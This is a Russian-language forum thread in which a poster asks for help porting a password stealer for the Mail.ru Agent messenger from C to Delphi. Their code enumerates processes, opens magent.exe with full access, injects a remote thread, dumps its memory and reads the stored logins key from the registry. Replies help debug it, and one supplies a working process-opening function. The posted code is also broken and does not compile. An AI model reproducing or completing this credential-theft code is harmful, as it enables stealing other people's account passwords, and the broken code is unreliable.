Спецы по Delphi помогите с кодом. Значит я прочитал статью http://www.xakep.ru/post/42226/default.asp В ней говорится про кражу паролей из пямяти майл агента. В ней дан код программы на С. я пытаюсь переписать этот же код на Delphi. половину я переделал и встал колом по следующим причинам! uses Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms, Dialogs, StdCtrls,tlhelp32, PsAPI, Registry; procedure TForm1.Button1Click(Sender: TObject); var pROCESSENTRY32; ct:cardinal; th:Cardinal; ts:TSearchRec; sst:STARTUPINFO; ss,s:string; agent:thandle; module: HModule; car:cardinal; hThread:thandle; modinfo: MODULEINFO; buffer: longint; dwReaded: DWORD; i,t, retCode, cValues: DWORD; regValue: array[0..256] of char; cchValueWORD; szEmailchar; iEmail:integer; found:boolean; Reg:HKEY; begin ct:=CreateToolhelp32Snapshot(TH32CS_SNAPALL,0); Process32First(ct,p); while Process32Next(ct,p) do begin (p.szExeFile) then OpenProcessToken(p.th32ProcessID,TOKEN_READ,th); ListBox1.Items.Append(string(p.szExeFile)); if string(p.szExeFile)='magent.exe' then begin listbox2.Items.append(string(p.szExeFile)); agent:=OpenProcess(PROCESS_ALL_ACCESS,FALSE,p.th32ProcessID); end; end; CloseHandle(ct); hThread:= CreateRemoteThread(agent,nil,0,@GetModuleHandle, nil,0,hthread); WaitForSingleObject(hThread, INFINITE); GetExitCodeThread(hThread , Module); CloseHandle(hThread); GetModuleInformation(agent,Module, @modinfo,sizeof(MODULEINFO)); ReadProcessMemory(agent,modinfo.lpBaseOfDll,addr(Buffer),modinfo.SizeOfImage,dwReaded); if dwReaded>0 then begin RegOpenKeyEx(HKEY_CURRENT_USER,'Software\\Mail.Ru\\Agent\\magent_logins' ,0,KEY_QUERY_VALUE,reg); cchValue:=1024; retCode := RegEnumValue(reg, 0,regValue,cchValue, NiL, NiL, NiL, NiL); label1.Caption:=regvalue; end; end; при запуске процедуры когда программа пытается считать дамп агента. выскакивает ошибка MailAgent и говорит что инструкция по адресу 0х0000000 оьратилась к памяти по адресу 0х0000000. память не может быть read. После нажатия ОК Magent вылетает! Помогите кто че нибуть в этом монимает! Заранее спасибо!
Во-первых ты или не весь код выложили или он у тебя даже не скомпилится. Как понимать вот это: Тут возможно if отсутствует, но даже если так, то szExeFile - это массив вайдчаров и писать просто "if вайдчар" нельзя. Нужно какое-то условие. У тебя его нет. Далее, что это: "cchValue"? Такая переменная даже не объявлена. Наверно, тут должно быть "cValues". Зачем выкладывать некомпилящийся код? Теперь по твоему вопросу: если выскочила такая ошибка, значит ты переписала какую-то ячеку памяти Агента. Он, думая что там записаны его данные, обратился к чужой памяти, а винда, отловив это, показала ошибку. Где была попорчена память, я сказать не могу. Твой код не компилится. А думать что же могло быть на месте ошибки, что-то тоже не хочется.
ТС, используй тег code, нифига не читабельно =\ Я по делфи не спец, чем смогу помогу. Функция GetProcess() выглядит примерно так: Code: var pe32:PROCESSENTRY32; hProcessSnap:cardinal; proc:Cardinal; begin hProcessSnap:=CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS,0); Process32First(hProcessSnap,pe32); while Process32Next(hProcessSnap,pe32) do begin if pe32.szExeFile='magent.exe' then begin proc:=OpenProcess(PROCESS_ALL_ACCESS,false,pe32.th32ProcessID); result:=proc; end; end; end; посмотри еще на функцию ReadProcessMemory, обычно с ней проблемы случаются.